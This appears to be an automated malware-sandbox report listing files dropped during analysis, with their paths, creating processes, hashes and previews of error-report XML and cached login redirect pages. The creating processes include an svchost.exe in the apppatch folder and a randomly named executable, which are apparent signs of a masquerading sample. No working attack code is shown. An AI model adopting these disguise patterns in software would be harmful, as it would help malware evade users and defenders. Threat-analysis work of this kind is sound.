                                                                                                                                                                                                          Preview:..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.5.7.2.0.<./.P.i.

                                                                                                                                                                                                          C:\ProgramData\Microsoft\Windows\WER\Temp\WER5F5B.tmp.xml

                                                                                                                                                                                                          Download File
                                                                                                                                                                                                          Process:C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                          File Type:XML 1.0 document, ASCII text, with CRLF line terminators
                                                                                                                                                                                                          Category:dropped
                                                                                                                                                                                                          Size (bytes):4634
                                                                                                                                                                                                          Entropy (8bit):4.528968121281205
                                                                                                                                                                                                          Encrypted:false
                                                                                                                                                                                                          SSDEEP:48:cvIwWl8zs1Jg77aI9lCWpW8VY8PYm8M4JIGFOeaj+q8h7Q028Xd:uIjfPI7zD7VxSJk4Qj8Xd
                                                                                                                                                                                                          MD5:9A095086CD51591B713C04628B76C546
                                                                                                                                                                                                          SHA1:1B12A965BCC2427E752D2080E33E874F234E4252
                                                                                                                                                                                                          SHA-256:73BE97A767E580B5AAB0EE315E60F2BADBB265BF7DDD71BAA448116C596DC8A2
                                                                                                                                                                                                          SHA-512:539BAD5A40C784BD900AD63F368B08D67F7D5653638D318423706CCD9E4FFAA0722FE9785BAE8973F2D69FF92F328AF211908AA03A988E4A5CD0D8BF53558705
                                                                                                                                                                                                          Malicious:false
                                                                                                                                                                                                          Preview:<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="583696" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

                                                                                                                                                                                                          C:\ProgramData\Microsoft\Windows\WER\Temp\WER5F89.tmp.WERInternalMetadata.xml

                                                                                                                                                                                                          Download File
                                                                                                                                                                                                          Process:C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                          File Type:XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
                                                                                                                                                                                                          Category:dropped
                                                                                                                                                                                                          Size (bytes):8376
                                                                                                                                                                                                          Entropy (8bit):3.7094310010197984
                                                                                                                                                                                                          Encrypted:false
                                                                                                                                                                                                          SSDEEP:192:R6l7wVeJrp6QhY16Y2DPSU9shWwgmfZpprQ89beQsfvAqm:R6lXJV6UY16YCSU9gWwgmfZZejfvs
                                                                                                                                                                                                          MD5:8886DA83FAFF0689EF4AA135C32851CF
                                                                                                                                                                                                          SHA1:8CC5DDA506220D90DBF1A893FFA20BABA04B7D18
                                                                                                                                                                                                          SHA-256:7A4383D72EA8CB8DDDD888659307FE19F4B88DED7C926981DE7D3BAB50E5B8DA
                                                                                                                                                                                                          SHA-512:58C9EF3C40DE16B17C962499DEB99307631DF7E8D76E2F33C4C38623968C6518B7F9B8345C2531B71978E8721CF6C419F182ACC043BCC7F4036697F31E5BF49C
                                                                                                                                                                                                          Malicious:false
                                                                                                                                                                                                          Preview:..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.9.3.6.<./.P.i.d.

                                                                                                                                                                                                          C:\ProgramData\Microsoft\Windows\WER\Temp\WER5FE8.tmp.xml

                                                                                                                                                                                                          Download File
                                                                                                                                                                                                          Process:C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                          File Type:XML 1.0 document, ASCII text, with CRLF line terminators
                                                                                                                                                                                                          Category:dropped
                                                                                                                                                                                                          Size (bytes):4634
                                                                                                                                                                                                          Entropy (8bit):4.529495403959855
                                                                                                                                                                                                          Encrypted:false
                                                                                                                                                                                                          SSDEEP:48:cvIwWl8zs1Jg77aI9lCWpW8VYgYm8M4JIGFf+q8hn028Md:uIjfPI7zD7VwJlQj8Md
                                                                                                                                                                                                          MD5:26DCFC7C4CCFF9F3D1F5B2EC9B105259
                                                                                                                                                                                                          SHA1:B9A4FECCBC9F8EEAE83F017EC7B8E43641998B0C
                                                                                                                                                                                                          SHA-256:E060E056FDB7C5316BAA351B8D26F149375726F793C4C3B0B30A5E12ADB7FEA5
                                                                                                                                                                                                          SHA-512:51AE52C0D7A9A4FCAFF8A8B468722A8B8A3501FBFC0E9F5FBFA7E608CAD6545E82423387601B6EF6FA90A16E7BE00AFAD6EBA8E7C57F1C89033A7699FCAB18D7
                                                                                                                                                                                                          Malicious:false
                                                                                                                                                                                                          Preview:<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="583696" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

                                                                                                                                                                                                          C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\login[1].htm

                                                                                                                                                                                                          Download File
                                                                                                                                                                                                          Process:C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                          File Type:HTML document, ASCII text, with CRLF line terminators
                                                                                                                                                                                                          Category:dropped
                                                                                                                                                                                                          Size (bytes):162
                                                                                                                                                                                                          Entropy (8bit):4.43530643106624
                                                                                                                                                                                                          Encrypted:false
                                                                                                                                                                                                          SSDEEP:3:qVoB3tUROGclXqyvXboAcMBXqWSZUXqXlIVLLP61IwcWWGu:q43tISl6kXiMIWSU6XlI5LP8IpfGu
                                                                                                                                                                                                          MD5:4F8E702CC244EC5D4DE32740C0ECBD97
                                                                                                                                                                                                          SHA1:3ADB1F02D5B6054DE0046E367C1D687B6CDF7AFF
                                                                                                                                                                                                          SHA-256:9E17CB15DD75BBBD5DBB984EDA674863C3B10AB72613CF8A39A00C3E11A8492A
                                                                                                                                                                                                          SHA-512:21047FEA5269FEE75A2A187AA09316519E35068CB2F2F76CFAF371E5224445E9D5C98497BD76FB9608D2B73E9DAC1A3F5BFADFDC4623C479D53ECF93D81D3C9F
                                                                                                                                                                                                          Malicious:false
                                                                                                                                                                                                          Preview:<html>..<head><title>301 Moved Permanently</title></head>..<body>..<center><h1>301 Moved Permanently</h1></center>..<hr><center>nginx</center>..</body>..</html>..

                                                                                                                                                                                                          C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\login[2].htm

                                                                                                                                                                                                          Download File
                                                                                                                                                                                                          Process:C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                          File Type:HTML document, ASCII text, with CRLF line terminators
                                                                                                                                                                                                          Category:dropped
                                                                                                                                                                                                          Size (bytes):173
                                                                                                                                                                                                          Entropy (8bit):4.43096450882803
                                                                                                                                                                                                          Encrypted:false
                                                                                                                                                                                                          SSDEEP:3:qVoB3tUROGclXqyvXboAcMBXqWSZUXqXlIVLLP61IwcWWGpvGyy:q43tISl6kXiMIWSU6XlI5LP8IpfGpfy
                                                                                                                                                                                                          MD5:7A5DF79FBAAFF2C161C6E29461785403
                                                                                                                                                                                                          SHA1:89B90DFB141E4B0F97D15FEB34A49F9EEC64DC52
                                                                                                                                                                                                          SHA-256:B1C52A7C21C4B21BF69866D7859284068D6ECC90306FE22076F81DAA0176A7ED
                                                                                                                                                                                                          SHA-512:19F00A755F34E3770F1DD0AB698056BF60E802EE7E941662054CF61565A8C06639C3AAFE1E93B0BBF446D9F7D08F5E827648311703E8718252597B78734960A5
                                                                                                                                                                                                          Malicious:false
                                                                                                                                                                                                          Preview:<html>..<head><title>301 Moved Permanently</title></head>..<body>..<center><h1>301 Moved Permanently</h1></center>..<hr><center>nginx</center>..</body>..</html>..l>....0....

                                                                                                                                                                                                          C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\login[4].htm

                                                                                                                                                                                                          Download File
                                                                                                                                                                                                          Process:C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                          File Type:HTML document, ASCII text, with CRLF line terminators
                                                                                                                                                                                                          Category:dropped
                                                                                                                                                                                                          Size (bytes):173
                                                                                                                                                                                                          Entropy (8bit):4.43096450882803
                                                                                                                                                                                                          Encrypted:false
                                                                                                                                                                                                          SSDEEP:3:qVoB3tUROGclXqyvXboAcMBXqWSZUXqXlIVLLP61IwcWWGpvGyy:q43tISl6kXiMIWSU6XlI5LP8IpfGpfy
                                                                                                                                                                                                          MD5:7A5DF79FBAAFF2C161C6E29461785403
                                                                                                                                                                                                          SHA1:89B90DFB141E4B0F97D15FEB34A49F9EEC64DC52
                                                                                                                                                                                                          SHA-256:B1C52A7C21C4B21BF69866D7859284068D6ECC90306FE22076F81DAA0176A7ED
                                                                                                                                                                                                          SHA-512:19F00A755F34E3770F1DD0AB698056BF60E802EE7E941662054CF61565A8C06639C3AAFE1E93B0BBF446D9F7D08F5E827648311703E8718252597B78734960A5
                                                                                                                                                                                                          Malicious:false
                                                                                                                                                                                                          Preview:<html>..<head><title>301 Moved Permanently</title></head>..<body>..<center><h1>301 Moved Permanently</h1></center>..<hr><center>nginx</center>..</body>..</html>..l>....0....

                                                                                                                                                                                                          C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\login[1].htm

                                                                                                                                                                                                          Download File
                                                                                                                                                                                                          Process:C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe
                                                                                                                                                                                                          File Type:HTML document, Unicode text, UTF-8 text, with very long lines (10731), with CRLF, LF line terminators
                                                                                                                                                                                                          Category:dropped
                                                                                                                                                                                                          Size (bytes):43338
                                                                                                                                                                                                          Entropy (8bit):6.058731865978793
                                                                                                                                                                                                          Encrypted:false
                                                                                                                                                                                                          SSDEEP:768:CiBtrifZVO7Wg3hIBYS0NY7JXw9/uRoky7k3QeBzdiGPtYbcq:C8Cg3LKFw9/uRoZkdpZPtYbcq
                                                                                                                                                                                                          MD5:3698B54812E99754AA821DC513C2549D
                                                                                                                                                                                                          SHA1:BCDA06C9F48C343BAE7B4C9D9B4FC9DB4E06C221
                                                                                                                                                                                                          SHA-256:A5DDC1999AC7DB2B72D12F043AB3C413B43BE06C13E33AD24E2FD2237E3642FC
                                                                                                                                                                                                          SHA-512:DC325F528A3721F47088DADEB24225464890C262E85F1A74799FBF7DC65E97CE6671AA72853A48B31913F9B5955AE3EDEE035DF01AB1F5B6610ABFADF27ED50C
                                                                                                                                                                                                          Malicious:false
                                                                                                                                                                                                          Preview:<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">..<html>..<head><link rel="preconnect" href="https://delivery.consentmanager.net"> <link rel="preconnect" href="https://cdn.consentmanager.net">.. <script>window.cmp_stayiniframe = 1; window.cmp_dontloadiniframe = true; if(!"gdprAppliesGlobally" in window){window.gdprAppliesGlobally=true}if(!("cmp_id" in window)||window.cmp_id<1){window.cmp_id=0}if(!("cmp_cdid" in window)){window.cmp_cdid="21fdca2281833"}if(!("cmp_params" in window)){window.cmp_params=""}if(!("cmp_host" in window)){window.cmp_host="a.delivery.consentmanager.net"}if(!("cmp_cdn" in window)){window.cmp_cdn="cdn.consentmanager.net"}if(!("cmp_proto" in window)){window.cmp_proto="https:"}if(!("cmp_codesrc" in window)){window.cmp_codesrc="1"}window.cmp_getsupportedLangs=function(){var b=["DE","EN","FR","IT","NO","DA","FI","ES","PT","RO","BG","ET","EL","GA","HR","LV","LT","MT","NL","PL","SV","SK","SL","CS","HU","RU","SR

                                                                                                                                                                                                          C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\login[2].htm

                                                                                                                                                                                                          Download File
                                                                                                                                                                                                          Process:C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                          File Type:HTML document, ASCII text, with no line terminators
                                                                                                                                                                                                          Category:dropped
                                                                                                                                                                                                          Size (bytes):114
                                                                                                                                                                                                          Entropy (8bit):4.802925647778009
                                                                                                                                                                                                          Encrypted:false
                                                                                                                                                                                                          SSDEEP:3:PouVIZx/XMn30EEBuvFfD0OkADYyT0NV9kBbZWM:hax/XW3/p5mmYyT0NVuB9d
                                                                                                                                                                                                          MD5:E89F75F918DBDCEE28604D4E09DD71D7
                                                                                                                                                                                                          SHA1:F9D9055E9878723A12063B47D4A1A5F58C3EB1E9
                                                                                                                                                                                                          SHA-256:6DC9C7FC93BB488BB0520A6C780A8D3C0FB5486A4711ACA49B4C53FAC7393023
                                                                                                                                                                                                          SHA-512:8DF0AB2E3679B64A6174DEFF4259AE5680F88E3AE307E0EA2DFFF88EC4BA14F3477C9FE3A5AA5DA3A8E857601170A5108ED75F6D6975958AC7A314E4A336AED0
                                                                                                                                                                                                          Malicious:false
                                                                                                                                                                                                          Preview:<!DOCTYPE html><html><head><script>window.onload=function(){window.location.href="/lander"}</script></head></html>

                                                                                                                                                                                                          C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\login[3].htm

                                                                                                                                                                                                          Download File
                                                                                                                                                                                                          Process:C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                          File Type:HTML document, ASCII text
                                                                                                                                                                                                          Category:dropped
                                                                                                                                                                                                          Size (bytes):593
                                                                                                                                                                                                          Entropy (8bit):4.470551863591405
                                                                                                                                                                                                          Encrypted:false
                                                                                                                                                                                                          SSDEEP:12:ZM1YKxs2A3aoJSw259ExxClHIlRBnNqKDuI1CA94IQL:ZM1y3aoJ7259EoolRHqFI8k4j
                                                                                                                                                                                                          MD5:3B03D93D3487806337B5C6443CE7A62D
                                                                                                                                                                                                          SHA1:93A7A790BB6348606CBDAF5DAEAAF4EA8CF731D0
                                                                                                                                                                                                          SHA-256:7392749832C70FCFC2D440D7AFC2F880000DD564930D95D634EB1199FA15DE30
                                                                                                                                                                                                          SHA-512:770977BEAEEDAFC5C98D0C32EDC8C6C850F05E9F363BC9997FA73991646B02E5D40CEED0017B06CAEAB0DB86423844BC4B0A9F0DF2D8239230E423A7BFBD4A88
                                                                                                                                                                                                          Malicious:false
                                                                                                                                                                                                          Preview:<html>.<head>. <meta http-equiv="refresh" content="5;url=https://nojs.domaincntrol.com" />.</head>.<body>. <script>. let retries = 3, interval = 1000;. (function retry() {. fetch("https://domaincntrol.com/?orighost=" + window.location.href). .then(response => response.json()). .then(data => window.location.href = data). .catch(error => {. if (retries > 0) {. retries--;. setTimeout(retry, interval);. } else {. console.error("Error: ", error);. }. });. })();. </script>.</body>.</html>.

                                                                                                                                                                                                          C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\login[5].htm

                                                                                                                                                                                                          Download File
                                                                                                                                                                                                          Process:C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                          File Type:HTML document, ASCII text, with no line terminators
                                                                                                                                                                                                          Category:dropped
                                                                                                                                                                                                          Size (bytes):114
                                                                                                                                                                                                          Entropy (8bit):4.802925647778009
                                                                                                                                                                                                          Encrypted:false
                                                                                                                                                                                                          SSDEEP:3:PouVIZx/XMn30EEBuvFfD0OkADYyT0NV9kBbZWM:hax/XW3/p5mmYyT0NVuB9d
                                                                                                                                                                                                          MD5:E89F75F918DBDCEE28604D4E09DD71D7
                                                                                                                                                                                                          SHA1:F9D9055E9878723A12063B47D4A1A5F58C3EB1E9
                                                                                                                                                                                                          SHA-256:6DC9C7FC93BB488BB0520A6C780A8D3C0FB5486A4711ACA49B4C53FAC7393023
                                                                                                                                                                                                          SHA-512:8DF0AB2E3679B64A6174DEFF4259AE5680F88E3AE307E0EA2DFFF88EC4BA14F3477C9FE3A5AA5DA3A8E857601170A5108ED75F6D6975958AC7A314E4A336AED0
                                                                                                                                                                                                          Malicious:false
                                                                                                                                                                                                          Preview:<!DOCTYPE html><html><head><script>window.onload=function(){window.location.href="/lander"}</script></head></html>

                                                                                                                                                                                                          C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\login[2].htm

                                                                                                                                                                                                          Download File
                                                                                                                                                                                                          Process:C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                          File Type:HTML document, Unicode text, UTF-8 text, with very long lines (10731), with CRLF, LF line terminators
                                                                                                                                                                                                          Category:dropped
                                                                                                                                                                                                          Size (bytes):43360
                                                                                                                                                                                                          Entropy (8bit):6.066309366382927
                                                                                                                                                                                                          Encrypted:false
                                                                                                                                                                                                          SSDEEP:768:CiBtrifZVO7Wg3hIBYLyXY7JXOy3WFHD3WFH23WFHv3WFHu3WFHrgrX2jRhdiGPi:C8Cg3OkFOyUjUWUPUOU8rXAzZPtYbcq
                                                                                                                                                                                                          MD5:B633E557FB0C0F1980F8F4CD0C6CF10E
                                                                                                                                                                                                          SHA1:7766AE3D8C8E11A4AB5B3AA7CB177431EE172D9B
                                                                                                                                                                                                          SHA-256:0177E84B98063467D4763E50DFA3A904C842426BA2C6BEBD94274F8280ECD26D
                                                                                                                                                                                                          SHA-512:218D2E83019DBDEE5551B046AA0A3E615A634D88F436707B58009ED9737A9E28F15DAFAF5CB07533E9F5AD0C177D60FCF9A729C5C16E507D15E1D8266783E2B9
                                                                                                                                                                                                          Malicious:false
                                                                                                                                                                                                          Preview:<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">..<html>..<head><link rel="preconnect" href="https://delivery.consentmanager.net"> <link rel="preconnect" href="https://cdn.consentmanager.net">.. <script>window.cmp_stayiniframe = 1; window.cmp_dontloadiniframe = true; if(!"gdprAppliesGlobally" in window){window.gdprAppliesGlobally=true}if(!("cmp_id" in window)||window.cmp_id<1){window.cmp_id=0}if(!("cmp_cdid" in window)){window.cmp_cdid="21fdca2281833"}if(!("cmp_params" in window)){window.cmp_params=""}if(!("cmp_host" in window)){window.cmp_host="a.delivery.consentmanager.net"}if(!("cmp_cdn" in window)){window.cmp_cdn="cdn.consentmanager.net"}if(!("cmp_proto" in window)){window.cmp_proto="https:"}if(!("cmp_codesrc" in window)){window.cmp_codesrc="1"}window.cmp_getsupportedLangs=function(){var b=["DE","EN","FR","IT","NO","DA","FI","ES","PT","RO","BG","ET","EL","GA","HR","LV","LT","MT","NL","PL","SV","SK","SL","CS","HU","RU","SR

                                                                                                                                                                                                          C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\login[3].htm

                                                                                                                                                                                                          Download File
                                                                                                                                                                                                          Process:C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                          File Type:HTML document, ASCII text, with CRLF line terminators
                                                                                                                                                                                                          Category:dropped
                                                                                                                                                                                                          Size (bytes):162
                                                                                                                                                                                                          Entropy (8bit):4.43530643106624
                                                                                                                                                                                                          Encrypted:false
                                                                                                                                                                                                          SSDEEP:3:qVoB3tUROGclXqyvXboAcMBXqWSZUXqXlIVLLP61IwcWWGu:q43tISl6kXiMIWSU6XlI5LP8IpfGu
                                                                                                                                                                                                          MD5:4F8E702CC244EC5D4DE32740C0ECBD97
                                                                                                                                                                                                          SHA1:3ADB1F02D5B6054DE0046E367C1D687B6CDF7AFF
                                                                                                                                                                                                          SHA-256:9E17CB15DD75BBBD5DBB984EDA674863C3B10AB72613CF8A39A00C3E11A8492A
                                                                                                                                                                                                          SHA-512:21047FEA5269FEE75A2A187AA09316519E35068CB2F2F76CFAF371E5224445E9D5C98497BD76FB9608D2B73E9DAC1A3F5BFADFDC4623C479D53ECF93D81D3C9F
                                                                                                                                                                                                          Malicious:false
                                                                                                                                                                                                          Preview:<html>..<head><title>301 Moved Permanently</title></head>..<body>..<center><h1>301 Moved Permanently</h1></center>..<hr><center>nginx</center>..</body>..</html>..

                                                                                                                                                                                                          C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\login[4].htm

                                                                                                                                                                                                          Download File
                                                                                                                                                                                                          Process:C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                          File Type:HTML document, ASCII text
                                                                                                                                                                                                          Category:dropped
                                                                                                                                                                                                          Size (bytes):593
                                                                                                                                                                                                          Entropy (8bit):4.470551863591405
                                                                                                                                                                                                          Encrypted:false
                                                                                                                                                                                                          SSDEEP:12:ZM1YKxs2A3aoJSw259ExxClHIlRBnNqKDuI1CA94IQL:ZM1y3aoJ7259EoolRHqFI8k4j
                                                                                                                                                                                                          MD5:3B03D93D3487806337B5C6443CE7A62D
                                                                                                                                                                                                          SHA1:93A7A790BB6348606CBDAF5DAEAAF4EA8CF731D0
                                                                                                                                                                                                          SHA-256:7392749832C70FCFC2D440D7AFC2F880000DD564930D95D634EB1199FA15DE30
                                                                                                                                                                                                          SHA-512:770977BEAEEDAFC5C98D0C32EDC8C6C850F05E9F363BC9997FA73991646B02E5D40CEED0017B06CAEAB0DB86423844BC4B0A9F0DF2D8239230E423A7BFBD4A88
                                                                                                                                                                                                          Malicious:false
                                                                                                                                                                                                          Preview:<html>.<head>. <meta http-equiv="refresh" content="5;url=https://nojs.domaincntrol.com" />.</head>.<body>. <script>. let retries = 3, interval = 1000;. (function retry() {. fetch("https://domaincntrol.com/?orighost=" + window.location.href). .then(response => response.json()). .then(data => window.location.href = data). .catch(error => {. if (retries > 0) {. retries--;. setTimeout(retry, interval);. } else {. console.error("Error: ", error);. }. });. })();. </script>.</body>.</html>.

                                                                                                                                                                                                          C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\login[6].htm

                                                                                                                                                                                                          Download File
                                                                                                                                                                                                          Process:C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                          File Type:HTML document, ASCII text, with CRLF line terminators
                                                                                                                                                                                                          Category:dropped
                                                                                                                                                                                                          Size (bytes):162
                                                                                                                                                                                                          Entropy (8bit):4.43530643106624
                                                                                                                                                                                                          Encrypted:false
                                                                                                                                                                                                          SSDEEP:3:qVoB3tUROGclXqyvXboAcMBXqWSZUXqXlIVLLP61IwcWWGu:q43tISl6kXiMIWSU6XlI5LP8IpfGu
                                                                                                                                                                                                          MD5:4F8E702CC244EC5D4DE32740C0ECBD97
                                                                                                                                                                                                          SHA1:3ADB1F02D5B6054DE0046E367C1D687B6CDF7AFF
                                                                                                                                                                                                          SHA-256:9E17CB15DD75BBBD5DBB984EDA674863C3B10AB72613CF8A39A00C3E11A8492A
                                                                                                                                                                                                          SHA-512:21047FEA5269FEE75A2A187AA09316519E35068CB2F2F76CFAF371E5224445E9D5C98497BD76FB9608D2B73E9DAC1A3F5BFADFDC4623C479D53ECF93D81D3C9F
                                                                                                                                                                                                          Malicious:false
                                                                                                                                                                                                          Preview:<html>..<head><title>301 Moved Permanently</title></head>..<body>..<center><h1>301 Moved Permanently</h1></center>..<hr><center>nginx</center>..</body>..</html>..

                                                                                                                                                                                                          C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\login[7].htm

                                                                                                                                                                                                          Download File
                                                                                                                                                                                                          Process:C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe
                                                                                                                                                                                                          File Type:HTML document, ASCII text, with CRLF line terminators
                                                                                                                                                                                                          Category:dropped
                                                                                                                                                                                                          Size (bytes):173
                                                                                                                                                                                                          Entropy (8bit):4.43096450882803
                                                                                                                                                                                                          Encrypted:false
                                                                                                                                                                                                          SSDEEP:3:qVoB3tUROGclXqyvXboAcMBXqWSZUXqXlIVLLP61IwcWWGpvGyy:q43tISl6kXiMIWSU6XlI5LP8IpfGpfy
                                                                                                                                                                                                          MD5:7A5DF79FBAAFF2C161C6E29461785403
                                                                                                                                                                                                          SHA1:89B90DFB141E4B0F97D15FEB34A49F9EEC64DC52
                                                                                                                                                                                                          SHA-256:B1C52A7C21C4B21BF69866D7859284068D6ECC90306FE22076F81DAA0176A7ED
                                                                                                                                                                                                          SHA-512:19F00A755F34E3770F1DD0AB698056BF60E802EE7E941662054CF61565A8C06639C3AAFE1E93B0BBF446D9F7D08F5E827648311703E8718252597B78734960A5
                                                                                                                                                                                                          Malicious:false
                                                                                                                                                                                                          Preview:<html>..<head><title>301 Moved Permanently</title></head>..<body>..<center><h1>301 Moved Permanently</h1></center>..<hr><center>nginx</center>..</body>..</html>..l>....0....

                                                                                                                                                                                                          C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\login[2].htm

                                                                                                                                                                                                          Download File
                                                                                                                                                                                                          Process:C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                          File Type:HTML document, ASCII text, with no line terminators
                                                                                                                                                                                                          Category:dropped
                                                                                                                                                                                                          Size (bytes):114
                                                                                                                                                                                                          Entropy (8bit):4.802925647778009
                                                                                                                                                                                                          Encrypted:false
                                                                                                                                                                                                          SSDEEP:3:PouVIZx/XMn30EEBuvFfD0OkADYyT0NV9kBbZWM:hax/XW3/p5mmYyT0NVuB9d
                                                                                                                                                                                                          MD5:E89F75F918DBDCEE28604D4E09DD71D7
                                                                                                                                                                                                          SHA1:F9D9055E9878723A12063B47D4A1A5F58C3EB1E9
                                                                                                                                                                                                          SHA-256:6DC9C7FC93BB488BB0520A6C780A8D3C0FB5486A4711ACA49B4C53FAC7393023
                                                                                                                                                                                                          SHA-512:8DF0AB2E3679B64A6174DEFF4259AE5680F88E3AE307E0EA2DFFF88EC4BA14F3477C9FE3A5AA5DA3A8E857601170A5108ED75F6D6975958AC7A314E4A336AED0
